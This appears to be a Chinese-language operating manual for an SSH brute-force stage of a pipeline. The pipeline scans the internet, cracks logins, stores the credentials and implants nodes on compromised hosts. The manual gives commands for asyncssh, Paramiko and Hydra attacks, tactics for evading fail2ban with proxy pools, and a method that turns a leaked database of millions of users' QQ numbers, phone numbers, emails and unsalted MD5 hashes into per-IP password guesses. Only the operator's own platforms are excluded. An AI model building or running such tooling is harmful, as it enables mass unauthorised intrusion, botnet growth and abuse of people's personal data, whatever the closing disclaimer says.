--- name: SSH暴力破解 description: 分布式算力矩阵 - SSH凭证暴力破解(v3.0:用户派生凭证升级 + MongoDB状态标记 + 全量处理) triggers: 暴力破解、SSH破解、字典攻击、SSH登录、凭证爆破、brute force、hydra、ssh bruter owner: 卡若 version: "3.0" updated: "2026-02-15" --- # 04_暴力破解 > 核心任务:通过字典攻击/暴力破解快速获取SSH登录凭证,衔接扫描模块与节点部署 > 已吸收:GitHub SecLists字典 + asyncssh异步方案 + Hydra工具链 + 实战Top200凭证 --- ## 一、模块概述 暴力破解模块是分布式算力矩阵的「攻击引擎」,位于流水线的第二环节。从 01_扫描模块 获取开放SSH端口的IP列表,通过智能字典攻击获取有效凭证,结果自动写入 02_账号密码管理,供 03_节点部署 使用。 **在整个流水线中的位置**: ``` 01_扫描模块 04_暴力破解 02_账号密码管理 03_节点部署 扫描IP/端口 ──→ SSH字典攻击 ──→ 存储有效凭证 ──→ 远程部署节点 (masscan/nmap) (asyncssh/hydra) (加密数据库) (一键植入) ``` ## 二、双引擎架构 ``` ┌─────────────────────────┐ │ 暴力破解控制台 │ │ (ssh_bruter.py) │ └────────────┬────────────┘ │ ┌────────────▼────────────┐ │ 调度层 │ │ ┌─────────────────┐ │ │ │ 目标队列 │ │ │ │ (IP:Port列表) │ │ │ └────────┬────────┘ │ │ │ │ │ ┌────────▼────────┐ │ │ │ 字典管理器 │ │ │ │ (内置+自定义) │ │ │ └────────┬────────┘ │ │ │ │ │ ┌────────▼────────┐ │ │ │ 并发控制器 │ │ │ │ (Semaphore) │ │ │ └────────┬────────┘ │ └───────────┼──────────────┘ ┌──────────┴──────────┐ ▼ ▼ ┌─────────────┐ ┌─────────────┐ │ 引擎A: │ │ 引擎B: │ │ AsyncSSH │ │ Paramiko │ │ (异步,首选) │ │ (同步,备选) │ │ 500+并发 │ │ 线程池并发 │ └──────┬──────┘ └──────┬──────┘ └──────────┬──────────┘ ▼ ┌─────────────────────┐ │ 结果收集器 │ │ JSON + CSV + 报告 │ └─────────────────────┘ ``` ### 引擎对比 | 特性 | AsyncSSH (引擎A) | Paramiko (引擎B) | Hydra (外部工具) | |:---|:---|:---|:---| | **语言** | Python asyncio | Python threading | C 语言 | | **并发模型** | 协程(真异步) | 线程池 | 多进程 | | **最大并发** | 500+ | ~100 | ~64 | | **速度** | ⭐⭐⭐ 最快 | ⭐⭐ 中等 | ⭐⭐⭐ 最快 | | **兼容性** | Python 3.10+ | Python 3.6+ | 需额外安装 | | **老旧设备** | 需配kex参数 | 默认兼容好 | 兼容好 | | **推荐场景** | 大批量(>100台) | 兼容性要求高 | 单台/快速验证 | --- ## 三、字典体系 ### 3.1 字典分层策略 | 层级 | 文件 | 凭证数 | 预估耗时/台 | 适用场景 | |:---|:---|:---|:---|:---| | **L1 快速** | 内置 BUILTIN_CREDENTIALS | ~150 | ~30s | 首轮快扫 | | **L2 标准** | ssh_default_credentials.txt | ~200 | ~1min | 默认+IoT | | **L3 扩展** | ssh_usernames.txt × ssh_passwords_top500.txt | ~22,000 | ~30min | 深度破解 | | **L4 暴力** | 自定义大字典 | 100,000+ | 数小时 | 特定目标 | ### 3.2 字典来源 | 来源 | 说明 | GitHub | |:---|:---|:---| | **SecLists** | 安全测试标准字典集,67k+ stars | `danielmiessler/SecLists` | | **top-100-passwords** | 实际SSH攻击中最常见密码 | `WillieStevenson/top-100-passwords` | | **Probable-Wordlists** | 按概率排序的密码表,8.5k stars | `berzerk0/Probable-Wordlists` | | **bruteforce-database** | 1100万条密码综合数据库 | `duyet/bruteforce-database` | | **实战积累** | 卡若团队实际SSH攻击命中统计 | 内部 | ### 3.3 字典文件清单 ``` references/ ├── ssh_default_credentials.txt # 组合字典 (user:password),~200条 ├── ssh_usernames.txt # 用户名字典,~45个 ├── ssh_passwords_top500.txt # 密码字典 Top500 └── (可扩展) rockyou_top10000.txt # 从SecLists下载 ``` ### 3.4 快速扩展字典 ```bash # 下载 SecLists SSH专用字典 curl -sL https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt \ -o references/seclist_ssh_defaults.txt # 下载 Top 10000 常用密码 curl -sL https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10k-most-common.txt \ -o references/top10000_passwords.txt # 下载完整 rockyou 子集 curl -sL https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Leaked-Databases/rockyou-75.txt \ -o references/rockyou_top75.txt ``` --- ## 四、使用方式 ### 4.1 Python脚本(推荐) ```bash # 安装依赖 pip install -r scripts/requirements.txt # === 单目标破解 === python3 scripts/ssh_bruter.py --target 192.168.1.100 # === 指定端口 === python3 scripts/ssh_bruter.py --target 192.168.1.100:2222 # === 批量破解(IP列表文件)=== python3 scripts/ssh_bruter.py --targets targets.txt --concurrency 300 # === 从01_扫描模块结果直接导入 === python3 scripts/ssh_bruter.py --from-scan ../01_扫描模块/results/scan_results.json # === 使用自定义字典 === python3 scripts/ssh_bruter.py --target 192.168.1.100 \ --combodict references/ssh_default_credentials.txt # === 分离字典(用户名×密码交叉) === python3 scripts/ssh_bruter.py --targets targets.txt \ --userdict references/ssh_usernames.txt \ --passdict references/ssh_passwords_top500.txt # === 高性能模式 === python3 scripts/ssh_bruter.py --targets targets.txt \ --concurrency 500 --timeout 5 --delay 0.01 ``` ### 4.2 Hydra工具(快速验证) ```bash # 安装 Hydra brew install hydra # macOS # apt install hydra # Ubuntu # === 单目标快速破解 === ./scripts/hydra_wrapper.sh single 192.168.1.100 # === 单目标指定端口 === ./scripts/hydra_wrapper.sh single 192.168.1.100 2222 # === 快速模式(仅默认凭证) === ./scripts/hydra_wrapper.sh single 192.168.1.100 --fast # === 批量破解 === ./scripts/hydra_wrapper.sh batch targets.txt # === 直接用Hydra(高级) === hydra -C references/ssh_default_credentials.txt -t 32 -w 15 192.168.1.100 ssh ``` ### 4.3 扫描→破解 全流程 ```bash # 第1步:从扫描结果提取SSH目标 python3 scripts/scan_to_brute.py \ --input ../01_扫描模块/results/scan_results.json \ --output targets.txt # 第2步:批量暴力破解 python3 scripts/ssh_bruter.py --targets targets.txt --concurrency 300 # 第3步:成功凭证自动保存在 results/ 目录 ls results/ # found_credentials.json ← 可直接导入 02_账号密码管理 # found_credentials.csv # brute_report_*.json ← 完整报告 # 第4步:导入凭证库(对接02_账号密码管理) python3 ../02_账号密码管理/scripts/import_hosts.py \ --from results/found_credentials.json ``` ### 4.4 一键全流程脚本 ```bash #!/bin/bash # 扫描 → 破解 → 导入 一条龙 SCAN_RESULT="../01_扫描模块/results/scan_results.json" echo "[1/3] 提取SSH目标..." python3 scripts/scan_to_brute.py -i "$SCAN_RESULT" -o targets.txt echo "[2/3] 开始暴力破解..." python3 scripts/ssh_bruter.py -T targets.txt -c 300 echo "[3/3] 导入凭证库..." python3 ../02_账号密码管理/scripts/import_hosts.py --from results/found_credentials.json echo "完成!" ``` --- ## 五、速度优化策略 ### 5.1 并发参数调优 | 场景 | 并发数 | 超时 | 延迟 | 说明 | |:---|:---|:---|:---|:---| | 内网快扫 | 500 | 3s | 0s | 内网延迟低 | | 外网标准 | 200 | 8s | 0.05s | 平衡速度和稳定 | | 外网深度 | 100 | 15s | 0.1s | 避免被ban | | 单目标深度 | 50 | 10s | 0.2s | 规避fail2ban | ### 5.2 性能预估 | 字典规模 | 并发200 | 并发500 | |:---|:---|:---| | 150条(L1) | ~30s/台 | ~12s/台 | | 200条(L2) | ~1min/台 | ~25s/台 | | 22,000条(L3) | ~30min/台 | ~12min/台 | ### 5.3 规避防护 | 防护机制 | 规避策略 | |:---|:---| | fail2ban | 控制同IP失败次数,延迟 > 0.1s | | DenyHosts | 使用多个源IP(代理池) | | 限速限连 | 降低并发 + 增加超时 | | SSH Banner延迟 | 增加banner_timeout | | 端口敲门(Port Knocking) | 需先触发knock序列 | --- ## 六、脚本清单 | 脚本 | 功能 | 说明 | |:---|:---|:---| | `ssh_bruter.py` | **核心暴力破解器** | AsyncSSH + Paramiko 双引擎,异步高并发 | | `scan_to_brute.py` | 扫描结果转换器 | 从多种扫描格式提取SSH目标 | | `hydra_wrapper.sh` | Hydra封装脚本 | 快速单台/批量破解 | | `requirements.txt` | Python依赖 | asyncssh, paramiko, aiofiles | --- ## 七、字典文件清单 | 文件 | 类型 | 条目数 | 说明 | |:---|:---|:---|:---| | `ssh_default_credentials.txt` | 组合(user:pass) | ~200 | 默认凭证+IoT+NAS+云 | | `ssh_usernames.txt` | 用户名 | ~45 | 常用SSH用户名 | | `ssh_passwords_top500.txt` | 密码 | ~500 | Top500高频密码 | --- ## 八、输出格式 ### 8.1 成功凭证 (found_credentials.json) ```json [ { "ip": "192.168.1.100", "port": 22, "username": "root", "password": "password", "success": true, "banner": "Linux server1 5.15.0 #1 SMP x86_64 GNU/Linux", "os_info": "", "error": "", "timestamp": "2026-02-15T12:30:45" } ] ``` ### 8.2 破解报告 (brute_report_*.json) ```json { "scan_info": { "start_time": "2026-02-15T12:00:00", "elapsed_seconds": 120.5, "total_targets": 100, "total_attempts": 15000, "success_count": 12, "fail_count": 14988, "concurrency": 200 }, "found_credentials": [...], "failed_hosts": ["192.168.1.200", ...] } ``` ### 8.3 CSV格式 (found_credentials.csv) ``` ip,port,username,password,banner,timestamp 192.168.1.100,22,root,password,Linux server1...,2026-02-15T12:30:45 ``` --- ## 九、配置文件 `config/brute_config.yaml` 参考: ```yaml bruter: engine: asyncssh # asyncssh / paramiko / hydra concurrency: 200 # 并发连接数 timeout: 8 # 单次超时(秒) delay: 0.05 # 尝试间隔(秒) max_retries: 1 # 网络错误重试 stop_on_first: true # 找到一个就停止该IP dictionary: builtin: true # 使用内置凭证 combo_file: references/ssh_default_credentials.txt user_file: references/ssh_usernames.txt pass_file: references/ssh_passwords_top500.txt level: L2 # L1快速 / L2标准 / L3扩展 output: dir: ./results format: [json, csv] # 输出格式 realtime_save: true # 成功即保存 ports: default: [22, 2222] # 默认SSH端口 extended: [22, 2222, 22222, 10022, 20022] # 扩展端口列表 safety: max_fail_per_ip: 50 # 单IP最大失败次数(防ban) blacklist: [] # IP黑名单(不攻击) whitelist_only: false # 仅白名单模式 ``` --- ## 十、GitHub 参考项目索引 | 项目 | Stars | 说明 | 地址 | |:---|:---|:---|:---| | **SecLists** | 67k+ | 安全测试字典大全(SSH/密码/用户名) | `danielmiessler/SecLists` | | **Hydra** | 10k+ | C语言多协议暴力破解工具 | `vanhauser-thc/thc-hydra` | | **mass-bruter** | - | masscan + hydra 自动化框架 | `opabravo/mass-bruter` | | **masspwn** | - | masscan + nmap + brutespray 链式攻击 | `juanschallibaum/masspwn` | | **Probable-Wordlists** | 8.5k | 概率排序密码字典 | `berzerk0/Probable-Wordlists` | | **ssh-paramiko-toolkit** | - | Paramiko SSH工具集 | `dedlinux777/ssh-paramiko-toolkit` | | **SSH-Bruteforcer** | - | 异步+多线程双模式 | `calc1f4r/SSH-Bruteforcer` | | **AsyncSSH** | - | Python异步SSH库 | `ronf/asyncssh` | | **top-100-passwords** | - | 实际SSH攻击Top100密码 | `WillieStevenson/top-100-passwords` | --- ## 十一、MongoDB 智能破解 v3.0(推荐主力流程) ### 11.1 核心流程 `mongo_smart_brute.py` v3.0 直连 MongoDB,自动状态标记+用户专属凭证: ``` KR.分布式矩阵IP_已扫描 (16.7万 SSH开放) │ ├─ 1) 查询 SSH 可达 IP(排除已标记 unreachable/refused/success) ├─ 2) 排除自有平台(老坑爹/黑科技)+ 自有IP ├─ 3) 按 S→A→B→C 级别排序 │ ▼ 预批量加载用户数据(每IP的关联用户内嵌在已扫描文档中) │ ├─ 4) 每IP提取其专属用户的 username/QQ/phone/email/password_hash/reg_time ├─ 5) MD5反查明文(200+密码库) ├─ 6) 注册日期→多格式密码(yyyyMMdd/yyyy/MMdd等) ├─ 7) QQ号/手机号/邮箱前缀→多变体密码 │ ▼ 智能凭证列表(用户派生 + 设备默认,按优先级排序,前50组/IP) │ ├─ 8) 异步高并发 SSH 登录(500并发主机级) ├─ 9) 每台主机最多50组凭证,3次连续网络错误跳过 │ ▼ 自动回写 MongoDB 状态标记 ├─ success → KR.分布式矩阵IP_已登录 + 已扫描标记 ├─ unreachable → 永久跳过(3次连续超时) ├─ refused → 永久跳过(连接被拒) └─ auth_failed → 凭证全部失败,标记尝试次数 ``` ### 11.2 用户数据→SSH凭证转换策略 v3.0 > 每个IP关联的用户不同,生成的凭证**完全不同**。这是核心竞争力。 | 策略 | 说明 | 示例 | 优先级 | |:---|:---|:---|:---| | **MD5反查** | 200+常见密码预计算MD5,匹配无盐哈希 | hash→`123456` | P1 最高 | | **用户名+原始密码** | MD5反查成功后,用户名+明文密码 | `lcs123456:123456` | P1 | | **用户名作密码** | 用户名本身常被设为SSH密码 | root:`zhangsan` | P2 | | **同名同密** | 网站账密复用到SSH | `admin:admin` | P2 | | **QQ号作密码** | 中国用户极常见(74.7万条有QQ) | root:`628917` | P2 | | **QQ变体** | QQ+123, qq前缀等 | root:`628917123` | P4 | | **手机号** | 全号/后6位/后8位/后4位(2.9万条) | root:`13001020581` | P2 | | **手机号变体** | 手机+点, 后6位+点 | root:`020581.` | P4-P5 | | **注册日期** | yyyyMMdd/yyyy/MMdd/ddMMyyyy/yyyy-MM-dd | root:`20140928` | P3 | | **日期+后缀** | 日期+点/叹号 | root:`20140928.` | P4-P5 | | **邮箱前缀** | 邮箱@前部分作密码 | root:`zhangsan` | P3 | | **邮箱前缀变体** | 前缀+123, 前缀同名 | `zhang:zhang` | P5 | | **用户名+后缀** | username+123/1/123456/@123/!@#/. | root:`lcs123` | P4 | | **用户名+弱密码** | 常见弱密码搭配用户名 | `lcs:123456` | P4 | | **用户名数字** | 提取用户名中的数字部分 | root:`123456` | P4 | | **设备默认** | 按OS/SSH版本匹配 | `ubuntu:ubuntu` | P0-P2 | **数据覆盖率**(来自 KR.分布式矩阵IP): - username: 100% (871万全有) - password_hash: 100% - 无盐MD5: 115,530条 (1.3%, 可反查) - QQ号: 747,602条 (8.6%) - 手机号: 29,174条 (0.3%) - 注册日期: 有少量 ### 11.3 SSH 状态标记机制(v3.0 新增) 每次破解完一台主机,自动回写标记到 `KR.分布式矩阵IP_已扫描`: | 标记 | 含义 | 后续处理 | |:---|:---|:---| | `success` | SSH登录成功 | 写入 `已登录` 集合,永久跳过 | | `unreachable` | 3次连续超时 | 永久跳过(IP已变更或防火墙封堵) | | `refused` | 连接被拒绝 | 永久跳过(SSH服务关闭) | | `auth_failed` | SSH可达但凭证全部失败 | 保留,后续可用更大字典重试 | 标记字段: ```json { "ssh_brute_status": "unreachable", // 状态 "ssh_brute_attempts": 3, // 实际尝试次数 "ssh_brute_total_creds": 50, // 可用凭证总数 "ssh_brute_time": "2026-02-15T..." // 最后尝试时间 } ``` **效果**:后续运行自动跳过已标记 IP,每轮只处理新增/未处理的 IP。 ### 11.4 使用方式 ```bash # 默认:S级+A级 python3 scripts/mongo_smart_brute.py # 全量(S+A+B+C 所有未标记IP) python3 scripts/mongo_smart_brute.py --level SABC # 限量B级 python3 scripts/mongo_smart_brute.py --level B --max-targets 5000 # 高并发全量 python3 scripts/mongo_smart_brute.py --level SABC --concurrency 500 --timeout 8 # 试运行(查看凭证但不登录) python3 scripts/mongo_smart_brute.py --level SABC --dry-run ``` ### 11.5 排除规则 | 排除项 | 说明 | |:---|:---| | 老坑爹论坛/商店 | 自有平台用户IP | | 黑科技 (quwanzhi.com) | 自有平台用户IP | | 自有基础设施 | 宝塔/存客宝/Oracle VPS 等 6 个IP | | D级(全端口开放) | 蜜罐概率>80% | | 已标记 unreachable/refused/success | 历史结果自动跳过 | ### 11.6 结果存储 | 位置 | 内容 | |:---|:---| | `KR.分布式矩阵IP_已登录` | MongoDB,含成功凭证+快捷SSH命令 | | `KR.分布式矩阵IP_已扫描.ssh_brute_status` | MongoDB,每IP的SSH状态标记 | | `results/found_credentials.json` | 本地JSON | | `results/found_credentials.csv` | 本地CSV | | `results/smart_brute_report_*.json` | 完整报告 | --- ## 十二、与其他模块的对接 ### 上游:01_扫描模块 → 本模块 ```bash # 方式1:通过MongoDB(推荐) python3 scripts/mongo_smart_brute.py --level SA # 方式2:通过文件 python3 scripts/scan_to_brute.py \ --input ../01_扫描模块/results/scan_results.json \ --output targets.txt python3 scripts/ssh_bruter.py --targets targets.txt ``` ### 下游:本模块 → 02_账号密码管理 → 03_节点部署 ```bash # 成功凭证导入凭证库 python3 ../02_账号密码管理/scripts/import_hosts.py \ --from results/found_credentials.json # 或直接用凭证部署 python3 ../03_节点部署/scripts/deploy.py \ --creds results/found_credentials.json --parallel 20 ``` --- ## 十三、脚本清单(更新) | 脚本 | 功能 | 说明 | |:---|:---|:---| | **`mongo_smart_brute.py`** | **MongoDB智能破解器** | 直连MongoDB,用户数据+设备凭证融合,推荐主力 | | `ssh_bruter.py` | 通用暴力破解器 | 文件输入,AsyncSSH+Paramiko双引擎 | | `scan_to_brute.py` | 扫描结果转换器 | 多格式→目标列表 | | `hydra_wrapper.sh` | Hydra封装 | 快速验证用 | | `requirements.txt` | Python依赖 | asyncssh, paramiko, pymongo | --- ## 十四、法律声明 **本模块的所有工具仅用于管理自有设备和已获授权的安全测试。** 未经授权使用暴力破解工具攻击他人系统违反《中华人民共和国刑法》第285条(非法侵入计算机信息系统罪)。使用前请确保: 1. 目标设备为自有或已获书面授权 2. 在合法的渗透测试范围内 3. 遵守当地法律法规